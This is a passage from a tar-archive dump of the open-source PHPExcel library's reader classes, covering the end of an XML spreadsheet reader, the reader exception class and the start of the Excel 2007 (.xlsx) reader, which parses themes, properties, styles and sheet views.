PHPExcel_Cell_DataType::TYPE_NUMERIC; $cellValue = PHPExcel_Shared_Date::PHPToExcel(strtotime($cellValue)); break; case 'Error': $type = PHPExcel_Cell_DataType::TYPE_ERROR; break; } } if ($hasCalculatedValue) { // echo 'FORMULA<br />'; $type = PHPExcel_Cell_DataType::TYPE_FORMULA; $columnNumber = PHPExcel_Cell::columnIndexFromString($columnID); if (substr($cellDataFormula, 0, 3) == 'of:') { $cellDataFormula = substr($cellDataFormula, 3); // echo 'Before: ', $cellDataFormula,'<br />'; $temp = explode('"', $cellDataFormula); $key = false; foreach ($temp as &$value) { // Only replace in alternate array entries (i.e. non-quoted blocks) if ($key = !$key) { $value = str_replace(array('[.', '.', ']'), '', $value); } } } else { // Convert R1C1 style references to A1 style references (but only when not quoted) // echo 'Before: ', $cellDataFormula,'<br />'; $temp = explode('"', $cellDataFormula); $key = false; foreach ($temp as &$value) { // Only replace in alternate array entries (i.e. non-quoted blocks) if ($key = !$key) { preg_match_all('/(R(\[?-?\d*\]?))(C(\[?-?\d*\]?))/', $value, $cellReferences, PREG_SET_ORDER + PREG_OFFSET_CAPTURE); // Reverse the matches array, otherwise all our offsets will become incorrect if we modify our way // through the formula from left to right. Reversing means that we work right to left.through // the formula $cellReferences = array_reverse($cellReferences); // Loop through each R1C1 style reference in turn, converting it to its A1 style equivalent, // then modify the formula to use that new reference foreach ($cellReferences as $cellReference) { $rowReference = $cellReference[2][0]; // Empty R reference is the current row if ($rowReference == '') { $rowReference = $rowID; } // Bracketed R references are relative to the current row if ($rowReference{0} == '[') { $rowReference = $rowID + trim($rowReference, '[]'); } $columnReference = $cellReference[4][0]; // Empty C reference is the current column if ($columnReference == '') { $columnReference = $columnNumber; } // Bracketed C references are relative to the current column if ($columnReference{0} == '[') { $columnReference = $columnNumber + trim($columnReference, '[]'); } $A1CellReference = PHPExcel_Cell::stringFromColumnIndex($columnReference-1).$rowReference; $value = substr_replace($value, $A1CellReference, $cellReference[0][1], strlen($cellReference[0][0])); } } } } unset($value); // Then rebuild the formula string $cellDataFormula = implode('"', $temp); // echo 'After: ', $cellDataFormula,'<br />'; } // echo 'Cell '.$columnID.$rowID.' is a '.$type.' with a value of '.(($hasCalculatedValue) ? $cellDataFormula : $cellValue).'<br />'; // $objPHPExcel->getActiveSheet()->getCell($columnID.$rowID)->setValueExplicit((($hasCalculatedValue) ? $cellDataFormula : $cellValue), $type); if ($hasCalculatedValue) { // echo 'Formula result is '.$cellValue.'<br />'; $objPHPExcel->getActiveSheet()->getCell($columnID.$rowID)->setCalculatedValue($cellValue); } $cellIsSet = $rowHasData = true; } if (isset($cell->Comment)) { // echo '<b>comment found</b><br />'; $commentAttributes = $cell->Comment->attributes($namespaces['ss']); $author = 'unknown'; if (isset($commentAttributes->Author)) { $author = (string)$commentAttributes->Author; // echo 'Author: ', $author,'<br />'; } $node = $cell->Comment->Data->asXML(); // $annotation = str_replace('html:','',substr($node,49,-10)); // echo $annotation,'<br />'; $annotation = strip_tags($node); // echo 'Annotation: ', $annotation,'<br />'; $objPHPExcel->getActiveSheet()->getComment($columnID.$rowID)->setAuthor(self::convertStringEncoding($author, $this->charSet))->setText($this->parseRichText($annotation)); } if (($cellIsSet) && (isset($cell_ss['StyleID']))) { $style = (string) $cell_ss['StyleID']; // echo 'Cell style for '.$columnID.$rowID.' is '.$style.'<br />'; if ((isset($this->styles[$style])) && (!empty($this->styles[$style]))) { // echo 'Cell '.$columnID.$rowID.'<br />'; // print_r($this->styles[$style]); // echo '<br />'; if (!$objPHPExcel->getActiveSheet()->cellExists($columnID.$rowID)) { $objPHPExcel->getActiveSheet()->getCell($columnID.$rowID)->setValue(null); } $objPHPExcel->getActiveSheet()->getStyle($cellRange)->applyFromArray($this->styles[$style]); } } ++$columnID; while ($additionalMergedCells > 0) { ++$columnID; $additionalMergedCells--; } } if ($rowHasData) { if (isset($row_ss['StyleID'])) { $rowStyle = $row_ss['StyleID']; } if (isset($row_ss['Height'])) { $rowHeight = $row_ss['Height']; // echo '<b>Setting row height to '.$rowHeight.'</b><br />'; $objPHPExcel->getActiveSheet()->getRowDimension($rowID)->setRowHeight($rowHeight); } } ++$rowID; } } ++$worksheetID; } // Return return $objPHPExcel; } protected static function convertStringEncoding($string, $charset) { if ($charset != 'UTF-8') { return PHPExcel_Shared_String::ConvertEncoding($string, 'UTF-8', $charset); } return $string; } protected function parseRichText($is = '') { $value = new PHPExcel_RichText(); $value->createText(self::convertStringEncoding($is, $this->charSet)); return $value; } } PHPExcel/Reader/Exception.php 0000644 00000003012 14642534110 0012021 0 ustar 00 <?php /** * PHPExcel_Reader_Exception * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Reader * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Reader_Exception extends PHPExcel_Exception { /** * Error handler callback * * @param mixed $code * @param mixed $string * @param mixed $file * @param mixed $line * @param mixed $context */ public static function errorHandlerCallback($code, $string, $file, $line, $context) { $e = new self($string, $code); $e->line = $line; $e->file = $file; throw $e; } } PHPExcel/Reader/Excel2007.php 0000644 00000407062 14642534110 0011451 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** * PHPExcel_Reader_Excel2007 * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Reader * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Reader_Excel2007 extends PHPExcel_Reader_Abstract implements PHPExcel_Reader_IReader { /** * PHPExcel_ReferenceHelper instance * * @var PHPExcel_ReferenceHelper */ private $referenceHelper = null; /** * PHPExcel_Reader_Excel2007_Theme instance * * @var PHPExcel_Reader_Excel2007_Theme */ private static $theme = null; /** * Create a new PHPExcel_Reader_Excel2007 instance */ public function __construct() { $this->readFilter = new PHPExcel_Reader_DefaultReadFilter(); $this->referenceHelper = PHPExcel_ReferenceHelper::getInstance(); } /** * Can the current PHPExcel_Reader_IReader read the file? * * @param string $pFilename * @return boolean * @throws PHPExcel_Reader_Exception */ public function canRead($pFilename) { // Check if file exists if (!file_exists($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! File does not exist."); } $zipClass = PHPExcel_Settings::getZipClass(); // Check if zip class exists // if (!class_exists($zipClass, false)) { // throw new PHPExcel_Reader_Exception($zipClass . " library is not enabled"); // } $xl = false; // Load file $zip = new $zipClass; if ($zip->open($pFilename) === true) { // check if it is an OOXML archive $rels = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, "_rels/.rels")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); if ($rels !== false) { foreach ($rels->Relationship as $rel) { switch ($rel["Type"]) { case "http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument": if (basename($rel["Target"]) == 'workbook.xml') { $xl = true; } break; } } } $zip->close(); } return $xl; } /** * Reads names of the worksheets from a file, without parsing the whole file to a PHPExcel object * * @param string $pFilename * @throws PHPExcel_Reader_Exception */ public function listWorksheetNames($pFilename) { // Check if file exists if (!file_exists($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! File does not exist."); } $worksheetNames = array(); $zipClass = PHPExcel_Settings::getZipClass(); $zip = new $zipClass; $zip->open($pFilename); // The files we're looking at here are small enough that simpleXML is more efficient than XMLReader $rels = simplexml_load_string( $this->securityScan($this->getFromZipArchive($zip, "_rels/.rels"), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()) ); //~ http://schemas.openxmlformats.org/package/2006/relationships"); foreach ($rels->Relationship as $rel) { switch ($rel["Type"]) { case "http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument": $xmlWorkbook = simplexml_load_string( $this->securityScan($this->getFromZipArchive($zip, "{$rel['Target']}"), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()) ); //~ http://schemas.openxmlformats.org/spreadsheetml/2006/main"); if ($xmlWorkbook->sheets) { foreach ($xmlWorkbook->sheets->sheet as $eleSheet) { // Check if sheet should be skipped $worksheetNames[] = (string) $eleSheet["name"]; } } } } $zip->close(); return $worksheetNames; } /** * Return worksheet info (Name, Last Column Letter, Last Column Index, Total Rows, Total Columns) * * @param string $pFilename * @throws PHPExcel_Reader_Exception */ public function listWorksheetInfo($pFilename) { // Check if file exists if (!file_exists($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! File does not exist."); } $worksheetInfo = array(); $zipClass = PHPExcel_Settings::getZipClass(); $zip = new $zipClass; $zip->open($pFilename); $rels = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, "_rels/.rels")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); //~ http://schemas.openxmlformats.org/package/2006/relationships"); foreach ($rels->Relationship as $rel) { if ($rel["Type"] == "http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument") { $dir = dirname($rel["Target"]); $relsWorkbook = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, "$dir/_rels/" . basename($rel["Target"]) . ".rels")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); //~ http://schemas.openxmlformats.org/package/2006/relationships"); $relsWorkbook->registerXPathNamespace("rel", "http://schemas.openxmlformats.org/package/2006/relationships"); $worksheets = array(); foreach ($relsWorkbook->Relationship as $ele) { if ($ele["Type"] == "http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet") { $worksheets[(string) $ele["Id"]] = $ele["Target"]; } } $xmlWorkbook = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, "{$rel['Target']}")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); //~ http://schemas.openxmlformats.org/spreadsheetml/2006/main"); if ($xmlWorkbook->sheets) { $dir = dirname($rel["Target"]); foreach ($xmlWorkbook->sheets->sheet as $eleSheet) { $tmpInfo = array( 'worksheetName' => (string) $eleSheet["name"], 'lastColumnLetter' => 'A', 'lastColumnIndex' => 0, 'totalRows' => 0, 'totalColumns' => 0, ); $fileWorksheet = $worksheets[(string) self::getArrayItem($eleSheet->attributes("http://schemas.openxmlformats.org/officeDocument/2006/relationships"), "id")]; $xml = new XMLReader(); $res = $xml->xml($this->securityScanFile('zip://'.PHPExcel_Shared_File::realpath($pFilename).'#'."$dir/$fileWorksheet"), null, PHPExcel_Settings::getLibXmlLoaderOptions()); $xml->setParserProperty(2, true); $currCells = 0; while ($xml->read()) { if ($xml->name == 'row' && $xml->nodeType == XMLReader::ELEMENT) { $row = $xml->getAttribute('r'); $tmpInfo['totalRows'] = $row; $tmpInfo['totalColumns'] = max($tmpInfo['totalColumns'], $currCells); $currCells = 0; } elseif ($xml->name == 'c' && $xml->nodeType == XMLReader::ELEMENT) { $currCells++; } } $tmpInfo['totalColumns'] = max($tmpInfo['totalColumns'], $currCells); $xml->close(); $tmpInfo['lastColumnIndex'] = $tmpInfo['totalColumns'] - 1; $tmpInfo['lastColumnLetter'] = PHPExcel_Cell::stringFromColumnIndex($tmpInfo['lastColumnIndex']); $worksheetInfo[] = $tmpInfo; } } } } $zip->close(); return $worksheetInfo; } private static function castToBoolean($c) { // echo 'Initial Cast to Boolean', PHP_EOL; $value = isset($c->v) ? (string) $c->v : null; if ($value == '0') { return false; } elseif ($value == '1') { return true; } else { return (bool)$c->v; } return $value; } private static function castToError($c) { // echo 'Initial Cast to Error', PHP_EOL; return isset($c->v) ? (string) $c->v : null; } private static function castToString($c) { // echo 'Initial Cast to String, PHP_EOL; return isset($c->v) ? (string) $c->v : null; } private function castToFormula($c, $r, &$cellDataType, &$value, &$calculatedValue, &$sharedFormulas, $castBaseType) { // echo 'Formula', PHP_EOL; // echo '$c->f is ', $c->f, PHP_EOL; $cellDataType = 'f'; $value = "={$c->f}"; $calculatedValue = self::$castBaseType($c); // Shared formula? if (isset($c->f['t']) && strtolower((string)$c->f['t']) == 'shared') { // echo 'SHARED FORMULA', PHP_EOL; $instance = (string)$c->f['si']; // echo 'Instance ID = ', $instance, PHP_EOL; // // echo 'Shared Formula Array:', PHP_EOL; // print_r($sharedFormulas); if (!isset($sharedFormulas[(string)$c->f['si']])) { // echo 'SETTING NEW SHARED FORMULA', PHP_EOL; // echo 'Master is ', $r, PHP_EOL; // echo 'Formula is ', $value, PHP_EOL; $sharedFormulas[$instance] = array('master' => $r, 'formula' => $value); // echo 'New Shared Formula Array:', PHP_EOL; // print_r($sharedFormulas); } else { // echo 'GETTING SHARED FORMULA', PHP_EOL; // echo 'Master is ', $sharedFormulas[$instance]['master'], PHP_EOL; // echo 'Formula is ', $sharedFormulas[$instance]['formula'], PHP_EOL; $master = PHPExcel_Cell::coordinateFromString($sharedFormulas[$instance]['master']); $current = PHPExcel_Cell::coordinateFromString($r); $difference = array(0, 0); $difference[0] = PHPExcel_Cell::columnIndexFromString($current[0]) - PHPExcel_Cell::columnIndexFromString($master[0]); $difference[1] = $current[1] - $master[1]; $value = $this->referenceHelper->updateFormulaReferences($sharedFormulas[$instance]['formula'], 'A1', $difference[0], $difference[1]); // echo 'Adjusted Formula is ', $value, PHP_EOL; } } } private function getFromZipArchive($archive, $fileName = '') { // Root-relative paths if (strpos($fileName, '//') !== false) { $fileName = substr($fileName, strpos($fileName, '//') + 1); } $fileName = PHPExcel_Shared_File::realpath($fileName); // Sadly, some 3rd party xlsx generators don't use consistent case for filenaming // so we need to load case-insensitively from the zip file // Apache POI fixes $contents = $archive->getFromIndex( $archive->locateName($fileName, ZIPARCHIVE::FL_NOCASE) ); if ($contents === false) { $contents = $archive->getFromIndex( $archive->locateName(substr($fileName, 1), ZIPARCHIVE::FL_NOCASE) ); } return $contents; } /** * Loads PHPExcel from file * * @param string $pFilename * @return PHPExcel * @throws PHPExcel_Reader_Exception */ public function load($pFilename) { // Check if file exists if (!file_exists($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! File does not exist."); } // Initialisations $excel = new PHPExcel; $excel->removeSheetByIndex(0); if (!$this->readDataOnly) { $excel->removeCellStyleXfByIndex(0); // remove the default style $excel->removeCellXfByIndex(0); // remove the default style } $zipClass = PHPExcel_Settings::getZipClass(); $zip = new $zipClass; $zip->open($pFilename); // Read the theme first, because we need the colour scheme when reading the styles $wbRels = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, "xl/_rels/workbook.xml.rels")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); //~ http://schemas.openxmlformats.org/package/2006/relationships"); foreach ($wbRels->Relationship as $rel) { switch ($rel["Type"]) { case "http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme": $themeOrderArray = array('lt1', 'dk1', 'lt2', 'dk2'); $themeOrderAdditional = count($themeOrderArray); $xmlTheme = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, "xl/{$rel['Target']}")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); if (is_object($xmlTheme)) { $xmlThemeName = $xmlTheme->attributes(); $xmlTheme = $xmlTheme->children("http://schemas.openxmlformats.org/drawingml/2006/main"); $themeName = (string)$xmlThemeName['name']; $colourScheme = $xmlTheme->themeElements->clrScheme->attributes(); $colourSchemeName = (string)$colourScheme['name']; $colourScheme = $xmlTheme->themeElements->clrScheme->children("http://schemas.openxmlformats.org/drawingml/2006/main"); $themeColours = array(); foreach ($colourScheme as $k => $xmlColour) { $themePos = array_search($k, $themeOrderArray); if ($themePos === false) { $themePos = $themeOrderAdditional++; } if (isset($xmlColour->sysClr)) { $xmlColourData = $xmlColour->sysClr->attributes(); $themeColours[$themePos] = $xmlColourData['lastClr']; } elseif (isset($xmlColour->srgbClr)) { $xmlColourData = $xmlColour->srgbClr->attributes(); $themeColours[$themePos] = $xmlColourData['val']; } } self::$theme = new PHPExcel_Reader_Excel2007_Theme($themeName, $colourSchemeName, $themeColours); } break; } } $rels = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, "_rels/.rels")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); //~ http://schemas.openxmlformats.org/package/2006/relationships"); foreach ($rels->Relationship as $rel) { switch ($rel["Type"]) { case "http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties": $xmlCore = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, "{$rel['Target']}")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); if (is_object($xmlCore)) { $xmlCore->registerXPathNamespace("dc", "http://purl.org/dc/elements/1.1/"); $xmlCore->registerXPathNamespace("dcterms", "http://purl.org/dc/terms/"); $xmlCore->registerXPathNamespace("cp", "http://schemas.openxmlformats.org/package/2006/metadata/core-properties"); $docProps = $excel->getProperties(); $docProps->setCreator((string) self::getArrayItem($xmlCore->xpath("dc:creator"))); $docProps->setLastModifiedBy((string) self::getArrayItem($xmlCore->xpath("cp:lastModifiedBy"))); $docProps->setCreated(strtotime(self::getArrayItem($xmlCore->xpath("dcterms:created")))); //! respect xsi:type $docProps->setModified(strtotime(self::getArrayItem($xmlCore->xpath("dcterms:modified")))); //! respect xsi:type $docProps->setTitle((string) self::getArrayItem($xmlCore->xpath("dc:title"))); $docProps->setDescription((string) self::getArrayItem($xmlCore->xpath("dc:description"))); $docProps->setSubject((string) self::getArrayItem($xmlCore->xpath("dc:subject"))); $docProps->setKeywords((string) self::getArrayItem($xmlCore->xpath("cp:keywords"))); $docProps->setCategory((string) self::getArrayItem($xmlCore->xpath("cp:category"))); } break; case "http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties": $xmlCore = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, "{$rel['Target']}")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); if (is_object($xmlCore)) { $docProps = $excel->getProperties(); if (isset($xmlCore->Company)) { $docProps->setCompany((string) $xmlCore->Company); } if (isset($xmlCore->Manager)) { $docProps->setManager((string) $xmlCore->Manager); } } break; case "http://schemas.openxmlformats.org/officeDocument/2006/relationships/custom-properties": $xmlCore = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, "{$rel['Target']}")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); if (is_object($xmlCore)) { $docProps = $excel->getProperties(); foreach ($xmlCore as $xmlProperty) { $cellDataOfficeAttributes = $xmlProperty->attributes(); if (isset($cellDataOfficeAttributes['name'])) { $propertyName = (string) $cellDataOfficeAttributes['name']; $cellDataOfficeChildren = $xmlProperty->children('http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes'); $attributeType = $cellDataOfficeChildren->getName(); $attributeValue = (string) $cellDataOfficeChildren->{$attributeType}; $attributeValue = PHPExcel_DocumentProperties::convertProperty($attributeValue, $attributeType); $attributeType = PHPExcel_DocumentProperties::convertPropertyType($attributeType); $docProps->setCustomProperty($propertyName, $attributeValue, $attributeType); } } } break; //Ribbon case "http://schemas.microsoft.com/office/2006/relationships/ui/extensibility": $customUI = $rel['Target']; if (!is_null($customUI)) { $this->readRibbon($excel, $customUI, $zip); } break; case "http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument": $dir = dirname($rel["Target"]); $relsWorkbook = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, "$dir/_rels/" . basename($rel["Target"]) . ".rels")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); //~ http://schemas.openxmlformats.org/package/2006/relationships"); $relsWorkbook->registerXPathNamespace("rel", "http://schemas.openxmlformats.org/package/2006/relationships"); $sharedStrings = array(); $xpath = self::getArrayItem($relsWorkbook->xpath("rel:Relationship[@Type='http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings']")); $xmlStrings = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, "$dir/$xpath[Target]")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); //~ http://schemas.openxmlformats.org/spreadsheetml/2006/main"); if (isset($xmlStrings) && isset($xmlStrings->si)) { foreach ($xmlStrings->si as $val) { if (isset($val->t)) { $sharedStrings[] = PHPExcel_Shared_String::ControlCharacterOOXML2PHP((string) $val->t); } elseif (isset($val->r)) { $sharedStrings[] = $this->parseRichText($val); } } } $worksheets = array(); $macros = $customUI = null; foreach ($relsWorkbook->Relationship as $ele) { switch ($ele['Type']) { case "http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet": $worksheets[(string) $ele["Id"]] = $ele["Target"]; break; // a vbaProject ? (: some macros) case "http://schemas.microsoft.com/office/2006/relationships/vbaProject": $macros = $ele["Target"]; break; } } if (!is_null($macros)) { $macrosCode = $this->getFromZipArchive($zip, 'xl/vbaProject.bin');//vbaProject.bin always in 'xl' dir and always named vbaProject.bin if ($macrosCode !== false) { $excel->setMacrosCode($macrosCode); $excel->setHasMacros(true); //short-circuit : not reading vbaProject.bin.rel to get Signature =>allways vbaProjectSignature.bin in 'xl' dir $Certificate = $this->getFromZipArchive($zip, 'xl/vbaProjectSignature.bin'); if ($Certificate !== false) { $excel->setMacrosCertificate($Certificate); } } } $styles = array(); $cellStyles = array(); $xpath = self::getArrayItem($relsWorkbook->xpath("rel:Relationship[@Type='http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles']")); $xmlStyles = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, "$dir/$xpath[Target]")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); //~ http://schemas.openxmlformats.org/spreadsheetml/2006/main"); $numFmts = null; if ($xmlStyles && $xmlStyles->numFmts[0]) { $numFmts = $xmlStyles->numFmts[0]; } if (isset($numFmts) && ($numFmts !== null)) { $numFmts->registerXPathNamespace("sml", "http://schemas.openxmlformats.org/spreadsheetml/2006/main"); } if (!$this->readDataOnly && $xmlStyles) { foreach ($xmlStyles->cellXfs->xf as $xf) { $numFmt = PHPExcel_Style_NumberFormat::FORMAT_GENERAL; if ($xf["numFmtId"]) { if (isset($numFmts)) { $tmpNumFmt = self::getArrayItem($numFmts->xpath("sml:numFmt[@numFmtId=$xf[numFmtId]]")); if (isset($tmpNumFmt["formatCode"])) { $numFmt = (string) $tmpNumFmt["formatCode"]; } } // We shouldn't override any of the built-in MS Excel values (values below id 164) // But there's a lot of naughty homebrew xlsx writers that do use "reserved" id values that aren't actually used // So we make allowance for them rather than lose formatting masks if ((int)$xf["numFmtId"] < 164 && PHPExcel_Style_NumberFormat::builtInFormatCode((int)$xf["numFmtId"]) !== '') { $numFmt = PHPExcel_Style_NumberFormat::builtInFormatCode((int)$xf["numFmtId"]); } } $quotePrefix = false; if (isset($xf["quotePrefix"])) { $quotePrefix = (boolean) $xf["quotePrefix"]; } $style = (object) array( "numFmt" => $numFmt, "font" => $xmlStyles->fonts->font[intval($xf["fontId"])], "fill" => $xmlStyles->fills->fill[intval($xf["fillId"])], "border" => $xmlStyles->borders->border[intval($xf["borderId"])], "alignment" => $xf->alignment, "protection" => $xf->protection, "quotePrefix" => $quotePrefix, ); $styles[] = $style; // add style to cellXf collection $objStyle = new PHPExcel_Style; self::readStyle($objStyle, $style); $excel->addCellXf($objStyle); } foreach ($xmlStyles->cellStyleXfs->xf as $xf) { $numFmt = PHPExcel_Style_NumberFormat::FORMAT_GENERAL; if ($numFmts && $xf["numFmtId"]) { $tmpNumFmt = self::getArrayItem($numFmts->xpath("sml:numFmt[@numFmtId=$xf[numFmtId]]")); if (isset($tmpNumFmt["formatCode"])) { $numFmt = (string) $tmpNumFmt["formatCode"]; } elseif ((int)$xf["numFmtId"] < 165) { $numFmt = PHPExcel_Style_NumberFormat::builtInFormatCode((int)$xf["numFmtId"]); } } $cellStyle = (object) array( "numFmt" => $numFmt, "font" => $xmlStyles->fonts->font[intval($xf["fontId"])], "fill" => $xmlStyles->fills->fill[intval($xf["fillId"])], "border" => $xmlStyles->borders->border[intval($xf["borderId"])], "alignment" => $xf->alignment, "protection" => $xf->protection, "quotePrefix" => $quotePrefix, ); $cellStyles[] = $cellStyle; // add style to cellStyleXf collection $objStyle = new PHPExcel_Style; self::readStyle($objStyle, $cellStyle); $excel->addCellStyleXf($objStyle); } } $dxfs = array(); if (!$this->readDataOnly && $xmlStyles) { // Conditional Styles if ($xmlStyles->dxfs) { foreach ($xmlStyles->dxfs->dxf as $dxf) { $style = new PHPExcel_Style(false, true); self::readStyle($style, $dxf); $dxfs[] = $style; } } // Cell Styles if ($xmlStyles->cellStyles) { foreach ($xmlStyles->cellStyles->cellStyle as $cellStyle) { if (intval($cellStyle['builtinId']) == 0) { if (isset($cellStyles[intval($cellStyle['xfId'])])) { // Set default style $style = new PHPExcel_Style; self::readStyle($style, $cellStyles[intval($cellStyle['xfId'])]); // normal style, currently not using it for anything } } } } } $xmlWorkbook = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, "{$rel['Target']}")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); //~ http://schemas.openxmlformats.org/spreadsheetml/2006/main"); // Set base date if ($xmlWorkbook->workbookPr) { PHPExcel_Shared_Date::setExcelCalendar(PHPExcel_Shared_Date::CALENDAR_WINDOWS_1900); if (isset($xmlWorkbook->workbookPr['date1904'])) { if (self::boolean((string) $xmlWorkbook->workbookPr['date1904'])) { PHPExcel_Shared_Date::setExcelCalendar(PHPExcel_Shared_Date::CALENDAR_MAC_1904); } } } $sheetId = 0; // keep track of new sheet id in final workbook $oldSheetId = -1; // keep track of old sheet id in final workbook $countSkippedSheets = 0; // keep track of number of skipped sheets $mapSheetId = array(); // mapping of sheet ids from old to new $charts = $chartDetails = array(); if ($xmlWorkbook->sheets) { foreach ($xmlWorkbook->sheets->sheet as $eleSheet) { ++$oldSheetId; // Check if sheet should be skipped if (isset($this->loadSheetsOnly) && !in_array((string) $eleSheet["name"], $this->loadSheetsOnly)) { ++$countSkippedSheets; $mapSheetId[$oldSheetId] = null; continue; } // Map old sheet id in original workbook to new sheet id. // They will differ if loadSheetsOnly() is being used $mapSheetId[$oldSheetId] = $oldSheetId - $countSkippedSheets; // Load sheet $docSheet = $excel->createSheet(); // Use false for $updateFormulaCellReferences to prevent adjustment of worksheet // references in formula cells... during the load, all formulae should be correct, // and we're simply bringing the worksheet name in line with the formula, not the // reverse $docSheet->setTitle((string) $eleSheet["name"], false); $fileWorksheet = $worksheets[(string) self::getArrayItem($eleSheet->attributes("http://schemas.openxmlformats.org/officeDocument/2006/relationships"), "id")]; $xmlSheet = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, "$dir/$fileWorksheet")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); //~ http://schemas.openxmlformats.org/spreadsheetml/2006/main"); $sharedFormulas = array(); if (isset($eleSheet["state"]) && (string) $eleSheet["state"] != '') { $docSheet->setSheetState((string) $eleSheet["state"]); } if (isset($xmlSheet->sheetViews) && isset($xmlSheet->sheetViews->sheetView)) { if (isset($xmlSheet->sheetViews->sheetView['zoomScale'])) { $docSheet->getSheetView()->setZoomScale(intval($xmlSheet->sheetViews->sheetView['zoomScale'])); } if (isset($xmlSheet->sheetViews->sheetView['zoomScaleNormal'])) { $docSheet->getSheetView()->setZoomScaleNormal(intval($xmlSheet->sheetViews->sheetView['zoomScaleNormal'])); } if (isset($xmlSheet->sheetViews->sheetView['view'])) { $docSheet->getSheetView()->setView((string) $xmlSheet->sheetViews->sheetView['view']); } if (isset($xmlSheet->sheetViews->sheetView['showGridLines'])) { $docSheet->setShowGridLines(self::boolean((string)$xmlSheet->sheetViews->sheetView['showGridLines'])); } if (isset($xmlSheet->sheetViews->sheetView['showRowColHeaders'])) { $docSheet->setShowRowColHeaders(self::boolean((string)$xmlSheet->sheetViews->sheetView['showRowColHeaders'])); } if (isset($xmlSheet->sheetViews->sheetView['rightToLeft'])) { $docSheet->setRightToLeft(self::boolean((string)$xmlSheet->sheetViews->sheetView['rightToLeft'])); } if (isset($xmlSheet->sheetViews->sheetView->pane)) { if (isset($xmlSheet->sheetViews->sheetView->pane['topLeftCell'])) { $docSheet->freezePane((string)$xmlSheet->sheetViews->sheetView->pane['topLeftCell']); } else { $xSplit = 0; $ySplit = 0; if (isset($xmlSheet->sheetViews->sheetView->pane['xSplit'])) { $xSplit = 1 + 